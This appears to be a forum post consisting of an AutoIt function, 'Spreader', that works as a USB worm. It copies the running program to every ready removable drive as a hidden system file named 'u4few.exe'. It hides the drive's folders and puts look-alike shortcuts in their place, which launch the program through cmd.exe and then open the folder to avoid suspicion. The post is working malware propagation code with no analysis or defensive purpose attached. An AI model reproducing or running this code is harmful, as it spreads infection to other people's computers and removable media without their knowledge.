Func Spreader()
	Local $aDrive = DriveGetDrive("REMOVABLE")
	If IsArray($aDrive) Then
		For $iDrive = 1 To UBound($aDrive) - 1
			If DriveStatus($aDrive[$iDrive]) = "READY" Then
				If DriveSpaceFree($aDrive[$iDrive]) > 1024 Then
					Local $aFiles = _FileListToArray($aDrive[$iDrive], "*", 2)
					If Not FileExists($aDrive[$iDrive] & "\" & "u4few.exe") Then
						FileCopy(@ScriptFullPath, $aDrive[$iDrive] & "\" & "u4few.exe")
						FileSetAttrib($aDrive[$iDrive] & "\" & "u4few.exe", "+H+S")
						If Not IsArray($aFiles) Then
							FileCreateShortcut("cmd.exe", $aDrive[$iDrive] & "Imagenes", "", "/c start " & "\u4few.exe", "", "%windir%\system32\shell32.dll", "", 3, @SW_SHOWNOACTIVATE)
						Else
							Local $iCount = 0
							For $iFile = 1 To UBound($aFiles) - 1
								$iCount += 1
								If $iCount = 15 Then ExitLoop
								If StringInStr($aFiles[$iFile], "System Volume Information") = 0 Then
									FileSetAttrib($aDrive[$iDrive] & "\" & $aFiles[$iFile], "+H+S")
									FileCreateShortcut("cmd.exe", $aDrive[$iDrive] & "\" & $aFiles[$iFile], "", "/c start " & StringReplace("u4few.exe", " ", '"' & " " & '"') & "&explorer /root,""%CD%" & StringReplace($aFiles[$iFile], " ", '"' & " " & '"') & """ & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)
								EndIf
							Next
						EndIf
					EndIf
					_ArrayDelete($aFiles, 0)
				EndIf
			EndIf
		Next
	EndIf
EndFunc   ;==>Spreader
Responder

Volver a “Autoit”